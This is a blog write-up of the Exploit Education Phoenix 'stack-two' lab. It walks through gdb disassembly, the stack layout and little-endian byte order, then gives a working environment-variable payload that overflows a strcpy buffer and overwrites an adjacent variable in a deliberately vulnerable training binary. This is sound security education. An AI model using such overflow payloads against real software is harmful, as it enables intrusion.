If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise

Quick Overview

Similar to Stack One, Stack Two exercise motive is to smash the stack to modify other variables in the stack to a hex value 0x0d0a090a but receives the value from the environment variable ExploitEducation. Technically, similar to gets in Stack Zero, strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared variables in stack. If you take closer look at the struct which isn’t dynamically being allocated by malloc function, so probably the struct which contains both char buffer[64] and volatile int changeme stays in main stackframe.


Disassembling the code will get you overall idea behind the stack-two code, One can use gdb ./stack-two to start debugging it in runtime.

  1. gdb ./stack-two
  2. Type disassemble to get the disassembled code (assembly)
   0x00000000004006ad <+0>:     push   rbp
   0x00000000004006ae <+1>:     mov    rbp,rsp
   0x00000000004006b1 <+4>:     sub    rsp,0x60
   0x00000000004006b5 <+8>:     mov    DWORD PTR [rbp-0x54],edi
   0x00000000004006b8 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004006bc <+15>:    mov    edi,0x400790
   0x00000000004006c1 <+20>:    call   0x400500 <puts@plt>
   0x00000000004006c6 <+25>:    mov    edi,0x4007da
   0x00000000004006cb <+30>:    call   0x4004f0 <getenv@plt>
   0x00000000004006d0 <+35>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006d4 <+39>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004006d9 <+44>:    jne    0x4006ef <main+66>
   0x00000000004006db <+46>:    mov    esi,0x4007f0
   0x00000000004006e0 <+51>:    mov    edi,0x1
   0x00000000004006e5 <+56>:    mov    eax,0x0
   0x00000000004006ea <+61>:    call   0x400510 <errx@plt>
   0x00000000004006ef <+66>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006f6 <+73>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004006fa <+77>:    lea    rax,[rbp-0x50]
   0x00000000004006fe <+81>:    mov    rsi,rdx
   0x0000000000400701 <+84>:    mov    rdi,rax
   0x0000000000400704 <+87>:    call   0x4004d0 <strcpy@plt>
   0x0000000000400709 <+92>:    mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040070c <+95>:    cmp    eax,0xd0a090a
   0x0000000000400711 <+100>:   jne    0x40071f <main+114>
   0x0000000000400713 <+102>:   mov    edi,0x400828
   0x0000000000400718 <+107>:   call   0x400500 <puts@plt>
   0x000000000040071d <+112>:   jmp    0x400733 <main+134>
   0x000000000040071f <+114>:   mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400722 <+117>:   mov    esi,eax
   0x0000000000400724 <+119>:   mov    edi,0x400870
   0x0000000000400729 <+124>:   mov    eax,0x0
   0x000000000040072e <+129>:   call   0x4004e0 <printf@plt>
   0x0000000000400733 <+134>:   mov    edi,0x0
   0x0000000000400738 <+139>:   call   0x400520 <exit@plt>

Before taking a look at the code, if you disassembled the stack-two using gdb to view the assembly instruction, you may notice the puts, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/stack-two, brought to you by https://exploit.education message via Puts (aka printf) method
  2. Utilizes getEnv aka getenv@plt to ExploitEducation pointer in the memory
  3. Set locals.changeme variable to zero or 0x00 in hex
  4. Strcpy locals.buffer variable filled by declared environment variable
  5. Verify locals.changeme is 0x0d0a090a in hex
  6. Use puts(aka Printf) method to greet the user again with decision (cmp instruction)
  7. Finally exits the program with exit(0) system call instead of returning to the main function invoker

Memory Allocation

As you see that the locals struct isn’t dynamically allocated, they are allocated in the stackframe same as main function gets executes. The main function starts executing my pushing $rbp to stack at 0x7fffffffe600 and then rsp to $rbp-0x60 as expected the stack grows from top (higher memory address) to bottom (lower memory address).

Stack Memory Layout from $rbp till $rsp

You can see that locals.buffer (64 bytes) gets written at $rbp-0x50 i.e 0x7fffffffe5b0 and locals.changeme integer variable (4 bytes) at rbp-0x10 i.e 0x7fffffffe5f0. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite locals.changeme. If you playaround with these memory layout behaviour, you can note that the char buffer variable writes from $rbp-0x50 towards $rbp-0x10.


As previously discussed locals.buffer and locals.changeme are allocated nearby each other in stack. So, if your input of 64 characters (example: 64 * ‘A’) wouldn’t overrite the locals.changeme variable, but if you do the same with 65 characters, you have succesfully overwritten locals.changeme variable succesfully. However, our challenge is to overwrite locals.changeme variable with 0x0d0a090a. If you try generating the payload simply (A * 64) + '\x0d\x0a\x09\x0a', this would represent in the memory as 64 'A's & 0x0a090a0d 😵. Remember Little Endianness ?, Yes Intel or AT&T syntax follows Little Endianness, so the representation should be in reverse order as 'A'*64 + '\x0a\x09\x0a\x0d'.

Stack Memory Layout

You’ll have to set the environment variable before executing the payload.

> export ExploitEducation=$(python -c "print('A'*64 + '\x0a\x09\x0a\x0d')")

(gdb) r 
Starting program: /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 426) exited normally]

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲


Source and Reference:

  1. Stack Two Exercise: Exploit Education
  2. Architecture 1001: x86-64 Assembly

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.

Author Profile Photo - Shivasurya


Software Engineer, Security @ Dropbox